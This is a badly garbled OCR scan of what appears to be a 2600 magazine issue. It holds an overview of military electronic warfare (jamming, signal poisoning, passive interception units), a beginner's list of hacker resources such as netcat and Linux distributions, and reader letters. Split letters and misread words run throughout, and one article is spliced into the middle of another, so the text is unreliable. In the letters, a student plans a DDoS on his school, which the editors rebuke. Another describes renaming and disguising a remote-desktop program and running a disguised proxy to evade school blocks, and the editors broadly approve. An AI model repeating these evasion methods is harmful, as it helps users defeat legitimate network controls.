i mportant ,  Active EW i s  no t  rea l ly  appreciated 
s i nce i t  is mostly damaging to both part ies . And 
s i nce i t  i s  easier to describe , we w i l l  start wi th 
th i s .  

Active EW. has the i ntention o f  blocking en­
emy commun ications i n  any way.  Most known 
techn i4ues are Fre4uency B lock ing ,  Spectrum 
Mask ing ,  and Poison ing .  

Freqltcncv Blocking: I f  we have managed to 
fi nd out the exact frequencies thc ellemy com­
municates with on e i ther voice!data , wc ti l l  that 
channel w i th no ise i n  order to d i sable that com­
mun icat ioll channel . When doing that , that spe­
c i fi c  channel i s  i naccess ib le  by e i ther party. 
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Spectrum Masking: By S M  we block as 
much of the spectrum (frequencies) as poss ib le .  
B y  doing th i s  we d i sable a l l  w i reless communi ­
cat ions for a l l  part ies . Th is  should be done on ly  
when i t  i s  of extreme i mportance and i f  we arc 
able to commun icate by other means (such as 
cables ) .  

Poisoning: Th i s  technique i s  extremel y  d iffi­
cu l t  to use . I t  requ i res a fl uent  speaker of the en­
emy's  l anguage , the proper a ir-codes and code 
names ,  and i n  the case of d ig i ta l  transceivers 
that send a s ignature - that exact transceiver's 
s ignature . A l though i t  i s  extremely d iffi cu l t ,  
there are two cases where i t  i s  easier to  hand le ,  
e i ther during  peace i n  qu i te remote locat ions 
where the enemy i s  away from their command 
post ,  or during a hatt ie  when lowly trai ned per­
sonnel use the rad io equ ipment . 

Passive EW. PEW is a l l  hout informat ion re­
trieval . The PEW un i t s  are always operat ional , 
duri ng peace and war. They arc fast to deploy 
(most of the t ime they do "on-road " in tercep­
t ions)  and h igh ly  mohi l e .  Thei r  main draw hack 
is that they arc extremely vu l nerab le ,  s i nce they 
are manned by a max imum of three persons 
wi th  the exception of a unit that i s  act ing as Ac­
t ive/Pass ive ,  i n  which case the count goes to 
fivc .  (There are real l y  smal l un i ts  of just  one 
person . But  these un i ts  arc capable of in tercep­
t ions of on ly  real l y  inferior technological ene­
mies .  There are many crypto devices that weigh 
more than 50Kgs . add the weight of a l ight 
transceiver 1 5 Kgs ( 1 5W ) ,  a smal l antenna 
3 Kgs , cables 5 Kgs ,  and you have a smal l rack 
that can in tercept transmiss ions from equipment 
before 1 994.  There are spec ia l  attack teams 
though that have l i m i ted equ ipment that can he 
used after they manage to get a hold of " i n s ide" 
i nfo .) No Acti ve/Pass ive Unit  i s  a l lowed to be 
out posted during batt l e .  

P E W  (Peace) .  S i nce the  un i ts have to  be 
placed ncar the enemy, it is of huge importance 
to camouflage them . The most used and suc­
cessfu l  camouflage is to posit ion them i n s ide 
c i v i l  areas and hest i ns ide dense ly  populated ar­
eas . The main drawback is i nterference by do­
mestic app l i ances ( mobi l e  antennas , radio/TV 
stat ions , pol ice , ai rport s ,  ports) ,  bu t  s ince most 
operate on low frequencies ,  we have on ly  to 
worry about the " noise . "  Pos i t ion ing PEW in­
s ide cit ies i s  safe , s ince they do not transmi t  and 
their  signature/feedback i s  extremely low, mak­
ing  them almost i nv i s ib le  when m ixed with the 
domestic noi se . From these locations the un i ts 
i n tercept as many s ignals as poss ib le .  The u n i ts 
record everyth ing of importance (they should be 
educated in the enemy's language) and log as 
much info about the transmitter ( frequency, 
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t ime ,  transmi tter s ignature (analog/d ig i tal ) ,  
code namcs , locat ion)  a s  poss ib le .  

I n  the case  of an analog transmi tter, there are 
spec if ic patterns that i t  transmits , mainly due to 
hardware al terat ions w i th the voice/data , that 
can be used as an ident ifier. With a d ig ital trans­
mi tter we have to "break " the transmi ss ion in 
order to create a s ignature . 

The transmi tter is located us ing a techn ique 
known as tr iangulat ion which needs thrce d i f­
ferent un i ts  (m in imum two) in various locat ions 
or one stable  uni t  and one moh i l e .  I t  i s  however 
common to have more than fi ve units triangulat­
ing the same target .  I have seen targets p in­
pointed i n  less than one m inute by the 
cooperation of e ight  un i ts where the target 's d i s ­
tance was  more than  300Km (not  i n  an exer­
c i se) . 

The recordings arc e i ther trans lated loca l ly  
or sent  to the un i t ' s  command post  for trans la­
t ion and then destroyed . A l l  the trans lat ions arc 
sent to the command post for further analys i s .  
Even t h e  s l i ghtest info can b e  usefu l  after corre­
lat ion . 

There are a lso outpost un i ts that are located 
in rural areas and are eas i l y  ident i fied by the en­
emy. These un i ts acqu i re the most usefu l  i n fo 
during peace , s i nce they are mostly located be­
s ide the enemy border. The drawback i s  that al­
though they are manned with the most capable 
stuff, they arc also the di sposable ones s i nce 
there usual ly i sn ' t  enough t ime to Pack and Go .  
Many t imes they are used as a type of front l i ne 
w i th art i l l ery support . 

P/:'W ( War) . During war, the un i ts perform 
the same tasks and in addi t ion they become mo­
b i l e .  Th i s  m i n i m izes the abi l i ty to locate targets ,  
but a properly " tooled " u n i t  can in tercept every­
th ing i n  a rad ius  of SOKm and transmi t  in real 
t ime raw or trans lated material ( trans lat ion on 
the move i s  difficult  for smal l units s i nce i t  is  
common that the most d i sposable person i s  also 
the driver and trans lator) . There are cases in 
which a PEW mobi le un i t  can act as an i n fo huh 
for terrestrial forces although th i s  i s  usual l y  
done by stable un i t s .  

P E W  equipment. Because of the l ack of fi re­
power the un i t s  need to be mob i le  and s i nce the 
equipment i s  of substant ia l  s ize and weight , 
smal l  vans are u sed . The van's back is a smal l  
room cal led Faraday ' s  Cel l .  Th i s  room i n  a per­
fect world should not transmi t  anyth ing ,  no ra­
dio waves ,  l ight ,  infrared , noth i ng .  PEW i s  
based on i t s  stealth abi l i t i es .  

I n s ide the room , you can fi nd wide area re­
ceivers which have a vast range of frequenc ies . 
They are made on ly  for the army and usual l y  
are comprised of many smal l er ones that co� 
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smal ler ranges . I n  addi t ion you can find d ig i tal 
to analog and analog to d ig ital converters , m ix ­
ers , demuxers , at least one  transmitter, comput­
ers , crypto devices (in b lack box form and i n  
software form) ,  antenna ki ts , s ignal  amp l ifiers , 
spectrum analyzers , record ing media  destroy­
ers/san i t i zers , and media  recorders (magnetic 
media  i s  qu i te common s ince i t  i s  easy to de­
stroy) . 

I n  the event that the un i t  i s  act i ve , there i s  
also a powerful transmitter connected t o  o n e  of 
the computers . 

The OS used from what I've seen i s  un ix ­
based w i th some i nstances of  So lari s ,  although I 
know of at least one country that uses M S  W2K . 

The software used is mostly aud io  related 
and some of it is commerc ia l . The most needed 
software type is aud io fi l ters , although these are 
created by the army in most cases .  There i s  a 
" procedure "  i n  which an area spectrum pattern 
is acqu i red in order to ident ify the normal 
" no ise"  of the area and then eas i l y  remove that 
from the record ings .  It is used also to make an 
assumption of a transmi tter locat ion by compar­
ing area pattern s .  

Notes 
Poi son ing  was heav i l y  used during the 50 's  

and 60 ' s  main ly  for "eject ing"  fakc informat ion 
to the enemy, usual ly  tr iv ia l  info i n  order to 
check our own ab i l i ty of intercepti ng .  

PEW un its have a wide abi l i ty of  transfer­
ring informat ion in case of emergency and 
keep ing it safe , by even us ing steganography to 
import i n fo to publ ic media ,  l i ke the publ ic  
phone system and others . 

It i s  essent ia l  that a l l  forces " trade" informa­
tion wi th each other and the Genera l  Command 
Center is the major data analys t .  

PEW un i ts i n tercept anyth ing wired/wi reless 
from transmitters to mob i le  phones .  During the 
90's some bas ic data analys i s  was done on s i te 

by Bryan Elliott 

Grok (v): I .  To drink;  2. To consume or be 
consumed by, and become one with ; 3. To un­
derstand 

I n  work i n g  w i th computers , it is d i ffic u l t  to 
avo id gett i ng  d iscouraged by an i n ab i l i ty to 

by the use of automated systems ( software ) .  
I t  i s  of  cr i t ical i mportance that t he  enemy 

doesn ' t  know what we know about h i m ,  even 
though he knows we i n tercept .  Many " mis ­
takes "  happen i n  order to sus ta in  that . 

Other than aud io ,  un i t s  i n tercept and trans­
mit other media l ike v ideo and images . 

Big Note 
Cryptography adds too much overhead to 

w i reless communicat ions and requ i res more ex­
pens i ve equipment .  To accommodate for th i s ,  
frequency hopping  i s  used  i n  l i ne wi th  low 
bandwidth encryption tha t  varies from the 
cheap 50 bi ts  to the expens ive 256 bi ts  (expen­
s ive mostly i n  bandwidth ) .  Every country that 
uses frequency hopping  creates a table of hops 
(frequency matrix )  that i s  also used as the key 
most of the t imes and d istributes this to al l of i t s  
un i ts (not on ly  to EW) . This tab le  res ides i n  the 
transceiver's memory and depending on i t s  hop 
ab i l i ty i t  cycles through them , thus break ing  au­
dio/data i n to smal l chunks ,  and transmi t s .  The 
difficu l t  part in i n tercepti ng  FH transmiss ions  i s  
n o t  the encryption b u t  finding o u t  the hop tab le ,  
and synchron iz ing the receiver to i t .  The easiest 
method i s  acqu ir ing the tables  from the enemy. 

I hope the i nformation posted here i s  of edu­
cational use to you . I am sorry i f  [ made any 
m i stakes .  [ am not sorry for being brief but shar­
ing more could identify procedures that would 
jeopardize my country ' s  and other countries '  
safety. A s  a note i t  i s  qu i te easy to find opera­
t ional manual s over the net for various army 
tact ics of different countries , but fortunate ly  
these mostly are outdated or fake .  Keep i n  m i nd 
that most real l y  i mportant information is kept i n  
such h igh levels  o f  secrecy that only h igh ly  
ranked offic ia l s  have access to i t  on a need-to­
know bas i s .  A l so do remember that the army 
tra ins  personnel by repet i t iveness ,  thus making 
the  use  of  manua ls  obsolete . 

fu l l y  understand someth i n g .  B e  i t  compi l in g  a 
kernel ,  b u i l d i n g  a c l i en t  for a protoco l , show­
ing  that  a secur i ty weakness e x i st s  by repro­
duc ib ly  exp lo i t i ng i t ,  or  somethi n g  as s i mp l e  
as  b u i l d i n g  a compute r  from part s .  

I ' v e  spent  years d o i n g  w h at I do - that  i s ,  
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p lay ing w i th concepts - and know that if a 
computer can do i t ,  i t ' s  mere ly a concept . One 
that must be understood to be used to its fu l l  
potent ia l . 

Th i s  art ic le  i s  pointed at beg inners , so I 'm 
go ing  to  qu ick ly  assume that 's what you're i n .  
( I f  you're i n  OS-X , you ' l l  fi n d  the *n ix - rc lated 
l inks  usefu l . If you're in l i nux ,  then th i s  art ic le  
i s  l i ke ly  a walk down memory lane . )  

In  your  trave l s  and quests in  computers , 
you' l l  come across many stumbles . I ' ve com­
p i led a short l i st of too l s  that can be used to 
overcome them . 

http://msdn .microsofi .com/l ihran; 
The M icrosoft l ibrary is a repos i tory of a l l  

th ings related to development in  a Microsoft 
envi ronment.  Th i s  inc ludes Internet Explorer, 
and makes it powerfu l l y  usefu l  for anyone do­
ing any sort of web design (it helps you work 
out how to de-qu i rk the qu i rk iest  aspects of 
the MS B rowser) . Addit ional ly ,  it conta ins  
documentat ion of the Windows API  - a h igh ly 
i mportant reference for anyone doing Win32 
prots and programming .  

http://www.w3 .org 
For any other browser in the world ,  the 

WWW Consort ium is the p lace to go. The 
documents here are gold ,  pure and pri st ine . I f  
you're hav ing  troub le  w i th any browser-re­
l ated concept , thi s  is the p lace to go .  

http://wwwfaqs .org/rfc·s/rfc·- titles .html  
RFCs are the l ifeblood of the I nternet . 

They define how servers serve ,  how c l ients 
connect , and what capab i l i ties  you the uscr -
or you the developer - have . I f  there 's  any­
thing you want to learn how to do, network­
wise ,  you ' l l  find out how i t ' s  supposed to be 
done here . 

http://muffin .doit.org/ 
The hacker naturall y  has a yearn ing to see 

what's going on behind the scenes . M uffi n ,  a 
java-based local proxy w ith fi l ter ing capab i l i ­
t ies , a l lows thi s  and  much , much more . Fur­
ther than thi s  I won't explai n .  You have to 
download i t .  

h ttp://neteat .soureej(Jlxe .l1etl 
I won't go much i nto th i s .  Netcat has re­

cently been featured in 2600, and i s ,  as every­
one say s ,  the Sw i s s  army kn ife of networking .  
I t ' s  essential l y  telnet w i th the abi l i ty to  have 
i ts  output redirected ,  and i f  the documents at 
w3 are gold ,  thi s  abi l ity is d i amond when 
you're trying  to figure out a protocol .  How­
ever, much l i ke the sc i s sors on a Sw i ss army 
kn ife aren't too u seful as tin sn ips ,  netcat 
sometimes has its shortcomings . 

http://www.php .net 
Thi s  is the most u seful programming l an-

guage I know of .  By  " usefu l , "  I mean " easy to 

learn and powerfu l . "  Hel l ,  after you've got i t  
i nsta l led and even o n  a Windows box , you can 
use i t  for she l l - scr ipt ing .  

I don ' t  mean to  s l ight perl , but i t ' s  not 

nearly as s imple a language . Sure php code 
turns out ug ly ,  but then , so do crayon draw­

ings of a three year old . St i l l ,  an art i st of h igh 

aesthetic can produce works of art us ing only 

crayons .  Point  i s ,  I wouldn't  g ive  per l  to a 
newb; i t ' s  much l ike g i v ing a three year old a 

mechan ical penc i l .  C ,  on the other hand , 

would be more l i ke g iv ing our ch i ld  a sculp­

tor 's  kn i fe - but I 'm d igress ing .  
http://www.klllippix.nct 

Once you feel  that you've surpassed Win­

dows and want to g ive L inux a try, th i s  i s  the 

d i stribut ion I suggest .  Why? I t  requ i res  no 
commitment . If you want to " mess around" 

w ith L inux , you have i t  there at your d i sposal 

w ith a m in imum of fus s .  Certa in ly  there are 
better d i stribut ion s ,  but few have ach ieved 
K laus Knopper's s imp l i c ity of try ing  L inux 

out . 

http ://www. tldp.org 

I f  you're cur ious about L inux , th i s  is defi­
n i te ly  the p lace to learn th ings .  I would sug­

gest start ing wi th the " Pocket L inu x "  gu ide ,  

as i t ' s  a lead-the-user-through-by-the-nose de­
script ion of how to bu i ld your own r m n l ­
l inux . 

hltp :llwwlV.gcl1/oo .org 

I won't go into Linux superiority w i th any­
one . A d i str ibution - or as - is as personal a 
choice as a rel ig ion . Gentoo i s  a L inux  d i stri ­

bution that g i ves you a choice as to where you 

want to start and lets you build your system 
from there . One Gentoo system i s  no more the 

same as another, yet it has a zen - l i ke package 

manager, the ebui lds syste m ,  which leaves 

RedHat's RPMs and Debian 's  apt i n  the dust 
far as I 'm concerned . Furthermore , the s i mple 
act of gett ing your system up and runn ing i s  a 

chal lenge that w i l l  leave you wi th an im­

mense knowledge of how a L inux system 
work s .  

That's that . There's more t o  tel l ,  b u t  on ly 

60 pages i n  an i ssue of th i s  love ly magaz ine .  I 

hope you a l l  grok what I 've told you to fu l l ­
ness . 

Meanwhi l e ,  I 'm  going to go and grok a few 

beers w ith some friends .  I 've had enough of 

geek-grokk ing for the day. 
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Questions 

Dear 2600: 
What do I have to do to get an art ic le  pri n ted in 26()(} ? 

Just ema i l  it to you people? A l so ,  when is the next edi t ion 
corning out? 

Deepen D, Shah 

71,ere arc t H'(} ways to get us articles . Ont' is to email 
it to 1 /.1' at  articles @ 26()O.colll . We ask that stalldard ascii 
text he lIsed since we lend to lose patiellce lJllick!.v {( ).'ve 
rUIl into format incompalihililies . YtJU clin a/so send LIS 
posllli /IIaii at 2600 f,'ditorial Del'/ . ,  PO Box 99, Middle 
Islalld, N Y I 1'J53 USA . The next edition is already out bl/t 
there \' a/H'ays a110ther olle ill the H 'orks . 

Dear 2600: 
I was in the process of wri t i ng  an art ic le  ahout the 

software that i s  used by the cahle company where I wor k .  
I t ' s  basical ly  a n  exp lanation o f  the AW l) Contact software 
by DST I nnov i :-. .  I have a few screen shots of thc �oftwarc 
in  act ion . I know that I persona l l y  l ind it i n terest ing when 
I get to see t h i ngs that the guy on the other end of the 
phone or across the desk would sec i f  hc Of shc i s  looking 
at my acco u n t .  I 'm j u st a Tier I serv ice rep so I wouldn' t  
be able to g i ve too many deta i l s  ahout the server s ide of  
th ings though . I was  just wonder ing if  you  th ink  t h i s  
wou ld  he of  any  i nterest to your  readers and  what  t he  
l eng th  of  the  art ic le  shou ld  he . Thank you  for your  t ime .  

M ike 

II lI10st d£:finilcly would he il1leresting as would any 
articles on systems like this wriftell hy the people w/70 lfse 
t/7em . J)OIl ' t  worry ahollt lellf.{th . .lust tel/ us t l'hat YOII 
thillk to he interestillf.{ and relevant ([nd we 'l/ make i tfit . 

Dear 2600: 
I have loved your mag ever s i nce I p icked up my li rst 

copy ahou t  two or three years ago . But  I have a quest ion . 
What is ncse m i l  and a l l  of i ts suhdomains?  I have heen 
wondering ahout t h i s  for a w h i l e .  I googled i t  and I st i l l  
can ' t  f i nd a n  answer. Can you guys h e l p  m e  out o n  th i s?  

Shell 

The National Computer Security Center is a p"rt "l 

the Department ,,(D�/ense and has existed since Ihe early 
1 91iOs . Their stated I(oal is to encoural(e the "widespread 
a vailability (�l trusted ('omputer S,\'c\'tems . "  YcJlI c{In find a 
whole bUllch of inji) al http://www.radium .ncsc .mil 

"'Itpeplprocessz/aq .hulll . 

Dear 2600: 
I just p icked u p  m y  fi rst i ssue of 2600 (2 I :2) and I 

found it s l ight ly confus ing .  S ince 2600 is a h ack ing mag­
azine ,  I thought i t  would be fi l led w i th things about  com­
puters and how to use them to do certa in  th ings .  Not on ly  
d id  i t  have th ings to do wi th  computers , but  i t  had art icles 
on a bunch of  m i sce l laneous things,  such as how to make 
an i mpromptu lock pick . So my quest ion is ,  what i s  the 
defini t ion of a hacker? 

Sheri Lowers 
That's the million dollar question . You 've correctly 

assessed that il '.\' not just about computers. It doesn 't even 

hare to be "bout technologv. Hadinl( encompasses all 
sorts "l thinl(s, the basic common denominator beinl( the 
desire to obtain information out (�rsomething or someone 
in order to I(ain kf/owledl(e.  It almost always takes time 
lind �lf(m to get this . The inl(/Hlients that are essential 

./l)r any hacker regardless "l what he or she is ha('killl( in­
clude patience , persistence, and the ahility to accept the 
fact that most people ivon 't have any appreciatioll for 
what it  is they 're trvilll( to do . 

Dear 2600: 
How cou ld  the e lectronic  vot ing machi nes be cor­

rupted? Is t h i s  spec i f i c  to on ly  Diebold machines  or to 
others as wel l '! I f  there i s  val i d i ty to a l l  these charges 
surg ing  across the I nternet and heing reported i n  big c i ty  
newspapers , you would do your country a great serv ice 
hy unmasking i t .  

Carole 
We cOll ldn 't aJ{ree more .  The trouhle is getting access 

to these nIachines andlor the people who hare all o( the 
i/�ro on Ihem . When wc do get the data , you can het that 
Ive H'OIl '1 he sitl ing OIl it . 

Dear 2600: 
I was wonderi ng if HOPE i s  rea l l y  worth going to? [ 

l i ve a l l  the way down in Florida and am rea l l y  i n terested 
in  goi ng .  Is there any chance you could exp la in  a l i t t le  h i t  
of wha t  goes on at the HOPE conference in  deta i l ?  Thank 
you ahead of t i m e .  

Nick 
YtJU 're either " (TV  Illte or really earlv. HOPE takes 

place ill New York City on "('ven " J'ears and we have a 
sister ( ,OI�rerenc(' O\ ' £'rseas during the "odd " ,vears. So the 
lI<'Xt HOP"" will tllke pillce in 200n . I t 's hasically (In inter­
Ilational gal/uTin/{ (�r lh(}usallds (?lll,\Sorted hackers right 
in the middle or N",,. }()f'k City. We hapI'm to like it 1I 1ot. 
To see (lind hear) what 1\'1' did Illst time ,  check our web­
site at WH'H'.Iwpe .1 1 (' ( .  

Dear 2600: 
I have suhscribed to 2600 for one year. I ' l l  he moving 

from my curren t  address to a new one i n  about a month 's  
t ime .  I s  there a prov i s ion on the www.2600.com s i te for 
subscribers to make these k ind  of changes? 

Sarma 
We don 't keep suhscriber data on allY mllchille that is 

online which means you cannot access such information 
in this .f(lshion . You can ,  however, send email to 
subs @2600.com with the details . Be sure to include your 
address label codinl(.  If .f()r whatever reason you don 't 
have this. we '/I call you at the phone number you pro­
vided when subscribing . Fai/inl( that, you should send us 
an official postal address change card. 

Dear 2600: 
I have acqu i red info of a poss ih ly  useful or at least in ­

formative nature that  could  affect m U l t ip le governments . [ 
acqu i red th i s  info after being arrested for crimes related 
to i t  by the Secret Serv ice .  I a m  still going through the 
courts . Do you want th i s  i nformation? 

LeStat 
You have to ask ? That's what we 're here for! 
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Dear 2600: 
Recent ly  I d i scovered that I was hacked . I ' ve come to 

you for some k ind of recommendation .  Is there any way 
you can answer the fol lowing quest ion s ,  p l ease? 

How can you tel l  exact ly who hacked you , or do they 
cover their tracks? I s  there any way to catch them? ( I ' ve  
seen that there i s  a program ca l led Tripwire but [ be l ieve 
i t ' s  for some other k i nd of operat ing system , not for Win­
dows .  Is there someth ing l i ke that for Windows?) How do 
you get someone to leave you alone so they don't keep 
hacking you? 

I 've never done anyth ing  to this person or persons .  I 
p icked up your magazine recent ly to poss ib ly  get some 
kind of i nformation to get this to stop. [ am using Zone 
A larm fi rewal l ,  Norton 's  Ant iv i ru "  and Adaware spyware 
removal progra m ,  but they seem to be able to break 
through all of t h i s .  I am running Windows X P. 

A l so . can you answer th i s :  I s  it bettcr to run a Mac 
aS? Or can someone break into that type of system as 
wel l '! Thanks for your he lp .  A l so ,  you guys have an inter­
est ing m agazine . 

A ndrew O. 
Uf�l(}rflllwtely, being ! lhacked " la/ely seems 10 eJ1( 'om­

pass e verythinR frol11 S0I11t!0I1l' l IC/llll lly f{cttillR access fo 

.).Iour data from (l remote loclltio/l to the power cord (�r 
}'our C()l11pllfer fldlil1� (Jut (�r fhe B'lll/ .  We l1eed morc de­
lai!. ... '. How do YOli know ,rOll lIrc heil lf{ hacked? rt there is 
adH'w'£' or spyll'lIre Oil your system. this is II su/�iec1 H 'l" Vl' 
dc\ 'ofed a lot (?f ,"'pan' to (and it  doesn 't really in volve' 
hackers . except Ihat they 're Ihe ones tryillg to stop it) .  If' 

you actually kilOit '  who i,\' hehind Ih i.\' , there arc ll lllllll/J(:'r 
(?l things YOll Clln c/o in order /0 gl'l thcm to slop . Rill 
Clf(ain,  without 8pec(/ics, iI 's hard to giFe guidance . There 
h; a versioll (�l TripH'ire.f()J· Windows hut it iSJ1 't .lh� e .  And 

)'OU miJ{ht  have heller Ilick running a Mac hut remember 
that no :'''yslem is cornplflely secure .  

Dear 2600: 
For four and a half years [ have been hearing voices 

from peoplc who claim to be i n  the Secret Service and 
they tel l me th ings that come true .  I only stmted hearing 
the voices after the FB[ v i s i ted my home . Has anyone 
mailed wi th  this same complaint? 

Tabetha 

YlJU It'Olddn Tt helieve how nwn:v complaints like Ihis 
we get. We don 't know how helpful WI' can be bUI we Cllll 

tell you thai in all likelihood those aren 't the voices of' the 
Secret Service . You say what they tell JOU cOnies true a.nd 
we know that anYlhing the Secret Service mighl tell you 
usually winds up being a liI' . 

Life 'S Little Experiences 

Dear 2600: 
First ,  I want  to say that [ love your magaz ine .  [ have 

only read two copies of i t  and already [ have learned new 
things and now am wanting to actual l y  do m y  chores so 
that [ can get paid and buy a subscript ion . So good l uck  
w i th  the magazine and I hope i t  w i l l  affect people i n  the 
future .  Anyway, I would l i ke to ask a question or two. I n  
our schoo l , w e  now have COWs (Computers O n  Whee l s ) .  
We a l l  ge t  our  own l aptops i n  certa in  c lasses bu t  we can' t  
take them home.  Anyway my friend and I have just  re­
cent ly d iscovered the fun in DDoSing  servers . We rea l l y  
h ate o u r  school because they are jus t  complete assholes t o  
u s  and they took away a l l  o f  o u r  compu ter rights un less  
we have to type essays (wh ich  we do on the COWs) . So 

my friend and I hatched a very e v i l  p lan . �e w�:��g� 
out the I P  for the host  of a l l  the COWs and DDoS i t .  We 
don't have a l l  the people yet that we have in on t h i s ,  but  [ 
would jus t  love to know if DDoS ing  s i tes/servers is legal 
or not . I would hate to do th i s  and end u p  gett i ng  pieholed 
i n  the local s lammer. I f  you think I 'm jus t  be ing a script 
k idd ie ,  then go ahead and fl ame me.  I real l y  don't  care .  

DemonEcIipse 
We 're going to divide Ihis rep(v into two sections . The 

.first is.fiIY the letter wriler and Ihe second is .firr everyone 

else . Please only read the section Ihal applies /0 vou . 
I )  We are in awl' "f' your skills and abilities . l'(JU 

clearly understand Ihat denial of'service is Ihe same thing 
as freedom '!f' speech . Anyone who would sland in your 
way i.\' an idiot who deserves whatever it is you decide 10 
do to them . The injuslice of' lhis whole thing is that Ihese 
people lVill probuhly try to do something reslrict ive to you 
({fier vou attack thetll . They're ohl'iollsly too stupid 10 do 
Ihe righl ll7ing, IVhich is 10 yield 10 your superior intellect 

llnd let ,VOll do whatever you wanl . 
2) Where do 1I7e.l'e people CO/I/(' .fi'01ll :' 1f' lhe/'e II 'US 

e rer any just{/icat iol1 ./f" II school lat.ing ll U 'll)' ucompuler 
rights " llnd (lcling likl) "complele ass/IO/es . n here il is .  
While il 11/ay be Iru(' thai th(' school slarled Ireatillg peo­

ple ullfilirir ./ir.l'l, thll.l' incurrillg Ihe wralh of' lr<'Ol'll' like 
the above, this is still no excuse J(JI " wall loll \ ,( 1 I lr/alisl1 1  
which is what a d('ll ial of' s('n'ic(' al/ack hasimllv is . W(' 
c{ln only hope Ihere are people in Ihis school willill;.! In 
C(}l�lrOll1 lhe .\c!lOO / 'S l I I !/llir policy H 'lIo will (llso cOllie lip 
lrilh a wa)' to negate the idiot factor. 

Dear 2600: 
I cou ldn ' t  be l ieve how closely the art ic le  about trust  

m i rrored my own h igh school experience wi th  respect to 
publ ic school d i str ict network security, or lack thereof. 
S i nce seventh grade ,  my crew and I have been g iv ing  the 
d i strict admins  a run I'lr their money. We never did any­
thing too mal ic ious - at least for me , I was a lways i n  i t  for 
the thri l l  of doing it jus t  to say I d id  i t ,  not the thri l l  of ex­
p lo i t ing i t .  For example ,  I lIsed two separate methods of  
obta in ing  teacher- leve l  login info and succeeded both 
t imes ,  but never used that  i nt(l to do any damage . I n  fact ,  
I w a s  al ways very w i l l ing t o  conference w i t h  d i strict ad­
m i n s  to make them aware of security ho les .  

One of my funn iest ( m i s )adventures was when the  lo­
cal l i brarian , who had been search ing  i n  va in  for months 
for someth ing to get me i n  trouble for, approached the 
pri nc ipa l  with a screenshot of my personal  folder wh ich  
contained m stsc .exe ( renamed to noCmstsc.exe s i nce the  
security pol icy for d isa l lowing execu t ion  of the program 
was based on the name of it) and mstscax .dl l .  She c la ims  
I broke Lake Wash i ngton School D i strict Ru le  #3 for on­
l i ne conduct: I downloaded a fi le  (don't even ge t  me 
started) .  I got  cal led to the  assi stant princ ipa l ' s  office and 
confi dent ly  strutted in and said he l l o .  H e  briefed me on 
why I was called i n  and I respectfu l l y  exp la ined that I 
hadn' t  down loaded anyth ing .  I showed h i m  the properties  
of noCmstsc .exe and pointed out that , i n  fact , M icrosoft 
Corporation of a l l  ent i t ies was respons ib le  for coding  the 
fi l e  and i t  was a part of the Windows as . Of course he  
cou ldn ' t  take my word for i t  even though i t  was i n  p la in  
b l ack  and w hite r ight  i n  front of  h i s  eyes ;  he had to ca l l  
HelpDesk to verify th i s  fact .  H e  asked me why I had i t ,  
and  rather than  weave an i n tricate l i e ,  I grinned and  s im­
p ly  to ld  h im the tru th :  I used  i t  to rdp  to my home box  so  
I could access personal and  restricted fi les and browse the  
I n ternet unfi l tered . Needless to  say ,  he  was stunned. 
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Sure ly  I must  have broken some rule in doing t h i s .  He re­
v i ewed the d istrict gu ide l i nes to no avai l .  I probably sat 
there for 30 m i nutes before he Hna l ly  said someth ing to 
the effect of "wel l .  I ' m  not sure what you d id .  but I know 
i t  was wrong even though there i s  no rule prevent ing such 
behavior. so unt i l  I can Hnd a way to get you i n  trouble ,  
you're free to go . "  

Eventual l y  the adm i n s  found a way to b lock execu­
t ion of the program through the in ternal name.  With i n  ten 
m i nutes I had ( ad m i tted l y  i l legal l y )  down loaded reshac k ,  
changed t h e  in ternal name to goog le .exe .  mod i fied t h e  t i ­
t le  b a r  n a m e  t o  "Google  Search - chemistry n e w s "  and 
changed the program icon set to that of Internet Explorer 
so when I m i n i m i zed i t .  i t  wouldn' t  look susp ic ious .  They 
never caught me and I never heard another word from my 
assi stant pri nc ipal on the matter. Even w i thout mstsc , I 
st i l l  ran apache on my home box wi th  cgiproxy custom 
mod i fied to look exactly l i ke goog le .com , which could 
get me anywhere on the net anyway. I 'd be i nterested to 
see some s i m i l ar stor ies of fledg l ing  hackers l i ke myself. 

Austin D .  
While man}' would say you 're wasting your time and 

needlessly aggravating your school IS administration , we 
wouldn 't. You have tl-i/O advantages . YOli know the rules 
lind how to use/abuse them . You a/so are not using your 
knowledl{e fi}r anythinl{ that would adversely aflect the 
system or another user. This by no means guarantees that 
they won 't thmw sOflle sort ofa book at you . But ilyou ac­
tually do Kef through to someone in charge who C(l1l rec­
ol{ni:e what it is you 're really doinl{, the absurdity "f' the 
rules and overall harmlessness 'd' experimentation may 
hecOIne apparent to them . 

Dear 2600: 

I recent ly had an experience that made me not lose 
complete fa ith in the publ ic  school system yet . I go to a 
pub l ic  school in Massachusetts jus t  outs ide of Boston . 
The computer security is standard , an eas i l y  crackable 
web f il teri ng appl i ance that blocks " i nappropriate " web 
sites. I found recent ly that they don't b lock 2600.com ,  
which I was re lat ive ly  shocked a t .  B u t  that 's not the rea­
son I 'm  wr i t ing .  I was in  the school l i brary recent ly wi th  
my World Geography c lass .  researc h i ng for a M iddle East 
project we were doing at the t ime .  The teacher was wan­
dering around genera l l y  mon i toring h i s  students' act i v i ­
t ies  to make  sure what they  were do ing  was  re lated to the 
project. H e  meandered over to a few students whom he 
had taught prev ious ly  who were doing a project on the 
s impl ic i ty of fi nd ing sensit ive data on a person on the I n ­
ternet . H e  began to t a l k  t o  t h e m  a n d  I joined i n  on the 
conversat ion ,  being genera l l y  knowledgeable  about so­
c ia l  engineeri n g .  The teacher, m uch to my amazement ,  
wasn ' t  surpri sed I knew th i s  much information about find­
ing people 's  sens i t i ve data . He was even enthus iast ic ! I 
lent  h i m  my copy of The Art "l Deception .  I real l y  th ink  
tha t  i t ' s  fantast ic to have  teachers tha t  not on ly  aren' t  
agains t  hacking act iv i t i es .  but even enthused by them . I 
m ust say, it was pretty refresh ing to see . 

Alex 

Dear 2600: 
Actual l y  there are a lot of peoples who r d i sturbing 

me.  Now I guess I should be a hacker. Can u p lz  he lp  m e .  
I hope u w i l l .  I w i l l  wai t  for a better response .  

Muhammad Adil  

The response won 't I{et Inuch better than this . You 
don 't become a hacker to even a score . }(JU can become a 

hoodlum /f}r that .  But iryou decide to deal with this intel­
ligently, there are always creative ways "f' handling dis­
turbinl{ people . And il you truly want to be a hacker, then 
learn and experiment without any ulterior motives . You 'll 

,find a whole new world and the people bUl{l{inl{ you won 't 
matter as much . 

Discoveries 

Dear 2600: 
I s tumbled upon th i s  recent ly and thought someone 

might  fi nd i t  i n terest i ng .  Go to http ://mob i l e .msn .com/hm 
"/folder.aspx ?  - i t  should redi rect you to http://iogin .pass 
